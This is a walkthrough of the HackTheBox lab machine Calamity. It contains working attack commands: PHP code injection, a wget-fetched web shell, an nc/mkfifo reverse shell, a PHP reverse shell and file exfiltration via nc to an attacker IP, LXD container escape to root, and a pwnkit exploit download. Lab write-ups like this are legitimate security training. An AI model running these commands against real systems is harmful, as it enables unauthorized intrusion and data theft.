Post

HackTheBox Calamity

Writeup for HackTheBox Calamity

HackTheBox Calamity

Machine Synopsis

Calamity, while not over challenging to an initial foothold on, is deceivingly difficult. The privilege escalation requires advanced memory exploitation, having to bypass many protections put in place. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -p- --min-rate 10000 10.10.10.27

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -p 22,80 -sC -sV 10.10.10.27

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
|   256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_  256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Brotherhood Software
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets check out the website.

webpage

1
2
3
4
5
❯ dirsearch -u http://10.10.10.27
...
[12:17:30] 200 -  196B  - /admin.php
[12:17:45] 301 -  312B  - /uploads  ->  http://10.10.10.27/uploads/
[12:17:45] 200 -  402B  - /uploads/

Here is the /admin.php endpoint.

admin_webpage

Trying admin:admin didn’t work.

admin_webpage_burp

However, it looks like there is a password skoupidotenekes commented in the HTTP response.

Trying admin:skoupidotenekes worked and we are logged in.

admin_webpage_logged_in

Exploitation

Lets try to input a simple <h1>test</h1>.

admin_webpage_h1_tag

The server executed our html code. What if we tried some php code?

admin_webpage_php_test

Nice it worked! Lets try to upload a reverse shell submitting the following input <?php system("wget http://10.10.16.23/shell.php -P uploads;"); ?>

1
2
3
4
5
6
cat shell.php
<?php system($_GET["cmd"]); ?>

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - "GET /shell.php HTTP/1.1" 200 -

Then we can go to the /uploads endpoint that we previously found to try our uploaded shell.

1
2
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Next, we can create a simple reverse shell payload to get a reverse shell connection.

1
2
3
4
5
6
cat revshell.php
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|powershell -i 2>&1|nc 10.10.16.23 8888 >/tmp/f%

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then we can execute the following commands to download the revshell.php into /tmp directory and subsequently execute it with bash.

1
2
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=wget+http://10.10.16.23/revshell.php+-P+/tmp'
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=bash+-f+/tmp/revshell.php'

The reverse shell connection was established but it immediately closed.

1
2
3
4
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 56656
/tmp/revshell.php: line 2: powershell: command not found

It seems like we may need a more sophisticated php reverse shell. Lets grab a php reverse shell from this GitHub repository.

We will be using the php_reverse_shell_older.php as our payload.

1
2
3
4
5
6
7
8
9
cat new_revshell.php
...
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.23', 8888);
$sh->run();
...

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Next, we can use the cmd shell to download our new malicious php file and store it in the /uploads folder.

1
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=wget+http://10.10.16.23/new_revshell.php+-P+/var/www/html/uploads'

Navigate to http://10.10.10.27/uploads/ and execute the new_revshell.php file to get the reverse shell connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 56666
SOCKET: Shell has connected!
whoami
www-data
which python
/usr/bin/python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@calamity:/var/www/html/uploads/uploads$ cd /home
www-data@calamity:/home$ ls
xalvas
www-data@calamity:/home$ cd xalvas
www-data@calamity:/home/xalvas$ cat user.txt
1d42a0c77c7be4a291829384b264e1e4

Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@calamity:/home/xalvas$ ls -la
total 3180
drwxr-xr-x 7 xalvas xalvas    4096 Jul 13  2022 .
drwxr-xr-x 3 root   root      4096 Jul 13  2022 ..
lrwxrwxrwx 1 root   root         9 Jul 13  2022 .bash_history -> /dev/null
-rw-r--r-- 1 xalvas xalvas     220 Jun 27  2017 .bash_logout
-rw-r--r-- 1 xalvas xalvas    3790 Jun 27  2017 .bashrc
drwx------ 2 xalvas xalvas    4096 Jul 13  2022 .cache
-rw-rw-r-- 1 xalvas xalvas      43 Jun 27  2017 .gdbinit
drwxrwxr-x 2 xalvas xalvas    4096 Jul 13  2022 .nano
-rw-r--r-- 1 xalvas xalvas     655 Jun 27  2017 .profile
-rw-r--r-- 1 xalvas xalvas       0 Jun 27  2017 .sudo_as_admin_successful
drwxr-xr-x 2 xalvas xalvas    4096 Jul 13  2022 alarmclocks
drwxr-x--- 2 root   xalvas    4096 Jul 13  2022 app
-rw-r--r-- 1 root   root       225 Jun 27  2017 dontforget.txt
-rw-r--r-- 1 root   root      1424 Jul 13  2022 intrusions
drwxrwxr-x 4 xalvas xalvas    4096 Jul 13  2022 peda
-rw-r--r-- 1 xalvas xalvas 3196724 Jun 27  2017 recov.wav
-r--r--r-- 1 root   root        33 Feb  8 22:54 user.txt

www-data@calamity:/home/xalvas$ cat dontforget.txt
peda keeps commads history in the working dir...you should make a dir in /tmp and work from there
keep in mind that tmp is not listable,so other users cannot see your files and folders (if you dont use extrmely simple names)

www-data@calamity:/home/xalvas$ ls -la /home/xalvas/alarmclocks
total 5716
drwxr-xr-x 2 xalvas xalvas    4096 Jul 13  2022 .
drwxr-xr-x 7 xalvas xalvas    4096 Jul 13  2022 ..
-rw-r--r-- 1 root   root   3196668 Jun 27  2017 rick.wav
-rw-r--r-- 1 root   root   2645839 Jun 27  2017 xouzouris.mp3

Lets transfer the suspicious audio files to our local machine.

We use nc to transfer recov.wav.

1
2
❯ nc -nlvp 9999 > recov.wav
listening on [any] 9999 ...
1
www-data@calamity:/home/xalvas$ nc 10.10.16.23 9999 < recov.wav

Since we don’t have permissions for rick.wav and xouzouris.mp3, we can use cat + base64 to transfer the files.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@calamity:/home/xalvas$ cd /tmp

www-data@calamity:/tmp$ cat /home/xalvas/alarmclocks/rick.wav | base64 > rick.wav.b64  
www-data@calamity:/tmp$ cat /home/xalvas/alarmclocks/xouzouris.mp3 | base64 > xouzouris.mp3.b64

www-data@calamity:/tmp$  nc 10.10.16.23 9999 < rick.wav.b64
www-data@calamity:/tmp$  nc 10.10.16.23 9999 < xouzouris.mp3.b64

www-data@calamity:/tmp$ md5sum /home/xalvas/alarmclocks/rick.wav
a69077504fc70a0bd5a0e9ed4982a6b7  /home/xalvas/alarmclocks/rick.wav
www-data@calamity:/tmp$ md5sum /home/xalvas/alarmclocks/xouzouris.mp3
553da35f2ea5e410f48762d6347ea5b8  /home/xalvas/alarmclocks/xouzouris.mp3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nc -nlvp 9999 > rick.wav.b64
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 37652
❯ cat rick.wav.b64 | base64 -d > rick.wav
❯ file rick.wav
rick.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
❯ md5sum rick.wav
a69077504fc70a0bd5a0e9ed4982a6b7  rick.wav


❯ nc -nlvp 9999 > xouzouris.mp3.b64
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 37652
❯ cat xouzouris.mp3.b64 | base64 -d > xouzouris.mp3
❯ file xouzouris.mp3
xouzouris.mp3: Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
❯ md5sum xouzouris.mp3
553da35f2ea5e410f48762d6347ea5b8  xouzouris.mp3

Interestingly rick.wav and recov.wav sounds exactly the same? Could there be some steganography hidden?

Analyzing the audio files on Audacity reveals a password audio when you do the following.

Put the 2 audio files together and invert the recov.wav audio.

audacity_invert

Then copy both files and create another set side by side.

audacity_side_by_side

Once you play the music from around the 15s mark to the 22s mark, you can hear a voice saying Your password is 18547936..*.

Lets try login into the SSH service as xalvas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ssh xalvas@10.10.10.27
The authenticity of host '10.10.10.27 (10.10.10.27)' can't be established.
ED25519 key fingerprint is SHA256:XskWW+aD3rz9lTnpA5ijz4g8J5qT1gkDub+H8o4D0L8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.27' (ED25519) to the list of known hosts.
xalvas@10.10.10.27's password: 18547936..*
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

9 packages can be updated.
8 updates are security updates.


Last login: Fri Jun 30 08:27:25 2017 from 10.10.13.44
xalvas@calamity:~$ ls
alarmclocks  app  dontforget.txt  intrusions  peda  recov.wav  user.txt
xalvas@calamity:~$ cd app
xalvas@calamity:~/app$ ls
goodluck  src.c
1
2
3
4
❯ scp 'xalvas@10.10.10.27:~/app/*' .
xalvas@10.10.10.27's password: 18547936..*
goodluck                                   100%   12KB 888.7KB/s   00:00    
src.c                                      100% 3936    71.9KB/s   00:00 

The intended way to solve this machine is through this goodluck binary. However, I am terribly noob at pwning and reverse engineering so I will just solve by the unintended way.

1
2
3
4
xalvas@calamity:~/app$ id
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
xalvas@calamity:~/app$ uname -a
Linux calamity 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:00 UTC 2017 i686 athlon i686 GNU/Linux

We observe that xalvas is in the lxd group which is vulnerable to lxd privilege escalation.

First, we need to create n alpine image with the correct architecture.

1
2
3
4
5
6
7
8
9
❯ git clone https://github.com/saghul/lxd-alpine-builder
❯ cd lxd-alpine-builder
❯ ./build-alpine --arch=i386
build-alpine: must be run as root
❯ sudo ./build-alpine --arch=i386
❯ ls
LICENSE  README.md  alpine-v3.13-x86_64-20210218_0139.tar.gz  alpine-v3.21-i686-20250209_1617.tar.gz  build-alpine
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Might face some problem creating the alpine image but refer to this to solve the issue.

Next, we transfer the alpine image over and configure the container on the target machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xalvas@calamity:/tmp$ wget http://10.10.16.23/alpine-v3.21-i686-20250209_1617.tar.gz -O alpine.tar.gz

xalvas@calamity:/tmp$ lxc image import alpine.tar.gz --alias=alpine
Image imported with fingerprint: 9b744faec7248e236450e012d70fd065f9d1243819a2ee6dbb8c40431c5c49b3

xalvas@calamity:/tmp$ lxc init alpine hehexd -c security.privileged=true
Creating hehexd

xalvas@calamity:/tmp$ lxc config device add hehexd somedisk disk source=/ path=/mnt/root recursive=true
Device somedisk added to hehexd

xalvas@calamity:/tmp$ lxc start hehexd
xalvas@calamity:/tmp$ lxc exec hehexd --mode=interactive /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # cat root.txt
4022a3b452b4ef10ce37e1695c94ec33

Alternatively, we can exploit pwnkit to get root as well.

1
2
3
❯ wget https://github.com/c3c/CVE-2021-4034/releases/download/0.2/cve-2021-4034_i686 -O cve-2021-4034_i686
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
xalvas@calamity:/tmp$ wget http://10.10.16.23/cve-2021-4034_i686 -O pwnkit
xalvas@calamity:/tmp$ chmod +x pwnkit
xalvas@calamity:/tmp$ ./pwnkit
CVE-2021-4034 - crossbuild by @c3c
Acknowledgements: Qualys, blasty, berdav
Attempting to spawn root shell
# 
This post is licensed under CC BY 4.0 by the author.